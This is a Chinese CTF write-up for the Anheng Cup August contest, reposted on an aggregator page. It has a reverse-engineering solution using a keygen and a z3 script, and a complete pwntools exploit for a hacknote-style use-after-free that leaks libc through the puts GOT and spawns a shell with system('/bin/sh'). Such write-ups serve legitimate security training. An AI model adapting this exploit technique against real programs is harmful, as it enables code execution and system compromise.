热门搜索 :
考研考公
您的当前位置:首页正文

安恒杯八月赛_Re&&Pwn

来源:东饰资讯网

很简单的题目:

0x01 Dig the way2

有点像极客巅峰第一场的Re
没给执行文件,不过这题idb静态就可以了
首先:

  _func0 = func0;
  _func1 = func1;
  _func2 = func2;

func0交换数值
func1:abs(a+b)-abs(a)-abs(b)+2
func2:abs(a)+abs(b)-abs(a+b)+2
首先函数check了一下flag:

bool __cdecl check(_BYTE *a1)
{
  if ( (char)a1[7] + (char)a1[6] != (char)a1[8] )
    return 0;
  if ( (char)a1[10] + (char)a1[9] != (char)a1[11] )
    return 0;
  if ( (char)a1[13] + (char)a1[12] != (char)a1[14] )
    return 0;
  if ( (char)a1[16] + (char)a1[15] != (char)a1[17] )
    return 0;
  if ( (char)a1[19] + (char)a1[18] == (char)a1[20] )
    return (a1[8] ^ (unsigned __int8)(a1[11] ^ a1[14] ^ a1[17] ^ a1[21])) == a1[5];
  return 0;
}

这里可以选择把几个式子仍z3里就可以
接着往下看getvalue:

int __cdecl getValue(int a1)
{
  signed int i; // [esp+8h] [ebp-8h]
  int v3; // [esp+Ch] [ebp-4h]

  v3 = 0;
  for ( i = 6; i <= 19; i += 3 )
    v3 = 100 * v3 + 10 * (*(char *)(i + a1) - 48) + *(char *)(i + 1 + a1) - 48;
  return v3;
}

显然,可以猜测,flag有一段是每隔三位有两个数字,提取出来后连接成一个十进制数,getvalue用于返回这个大数的数值:
猜测flag形式:

flag{a11a11a11a11a11a}

flag长度在check和flag在栈中位置大小可以体现
最后函数对a[2]=func2(flag_value,-flag_value)进行了判断
由绝对值不等式,解不可能存在
由此想到overflow,构造value=0xfffffffe/2:

key=str(0xfffffffe/2)
flag="flag{"
key2=""
for i in range(0,len(key),2):
   key2+=key[i]+key[i+1]+chr(ord(key[i])+ord(key[i+1]))
flag+=chr(ord(key2[2])^ord(key2[5])^ord(key2[8])^ord(key2[11])^ord("}"))+key2+"}"
print flag

也可以不用分析,直接z3解(脚本写的丑了些):

from z3 import *

def abs(x):
  return If(x >= 0,x,-x)

s = Solver()
a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17=BitVecs('a1 a2 a3 a4 a5 a6 a7 a8 a9 a10 a11 a12 a13 a14 a15 a16 a17',32)

s.add(a1>96)
s.add(a2>47)
s.add(a3>47)
s.add(a4>96)
s.add(a5>47)
s.add(a6>47)
s.add(a7>96)
s.add(a8>47)
s.add(a9>47)
s.add(a10>96)
s.add(a11>47)
s.add(a12>47)
s.add(a13>96)
s.add(a14>47)
s.add(a15>47)
s.add(a16>96)
s.add(a1<122)
s.add(a2<58)
s.add(a3<58)
s.add(a4<122)
s.add(a5<58)
s.add(a6<58)
s.add(a7<122)
s.add(a8<58)
s.add(a9<58)
s.add(a10<122)
s.add(a11<58)
s.add(a12<58)
s.add(a13<122)
s.add(a14<58)
s.add(a15<58)
s.add(a16<122)
s.add(a17==125)
s.add(a3 + a2==a4)
s.add(a6 + a5 == a7)
s.add(a9 + a8 == a10)
s.add(a12 + a11 == a13)
s.add(a15 + a14 == a16)
s.add(a7^a10^a13^a17^a4==a1) 
s.add(a15-48+(a14-48)*10+(a12-48)*100+(a11-48)*1000+(a9-48)*10000+(a8-48)*100000+(a6-48)*1000000+(a5-48)*10000000+(a3-48)*100000000+(a2-48)*1000000000==2147483647)
print(s.check())
print(s.model())
mod=s.model()
key=[a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17]
ans=""
for i in key:
    ans+=chr(int(str(mod[i])))
print "flag{"+ans

0x02 Unote2

算是pwnable.tw的hacknote原题
只是稍微改了些东西:

http://kirin-say.top/2018/06/05/pwnable-tw-hacknote/

EXP:

from pwn import *

def   add_note(size,content):
      print p.recvuntil("choice :")
      p.sendline("1")
      print p.recvuntil("size :")
      p.sendline(size)
      print p.recvuntil("Content :")
      p.sendline(content)

def   delete_note(index):
      p.recvuntil("choice :")
      p.sendline("2")
      p.recvuntil("Index :")
      p.sendline(index)

def   print_note(index):
      p.recvuntil("choice :")
      p.sendline("3")
      p.recvuntil("Index :")
      p.sendline(index)

p=process("./note")
elf=ELF("./note")
elib=ELF("./libc-2.23.so")
puts_got=elf.got["puts"]
putnote=0x804865b
add_note("16",15*"a")
add_note("16",15*"a")
delete_note('0')
delete_note('1')
add_note('8',p32(putnote)+p32(puts_got))
print_note('0')
p.recvuntil("content :")
puts_addr=u32(p.recv(4))
print hex(puts_addr)
sys_addr=puts_addr-elib.symbols["puts"]+elib.symbols["system"]
bin_sh_addr=puts_addr-elib.symbols["puts"]+0x15ba0b
delete_note('2')
add_note('8',p32(sys_addr)+p32(bin_sh_addr))
print_note('0')
p.interactive()
Top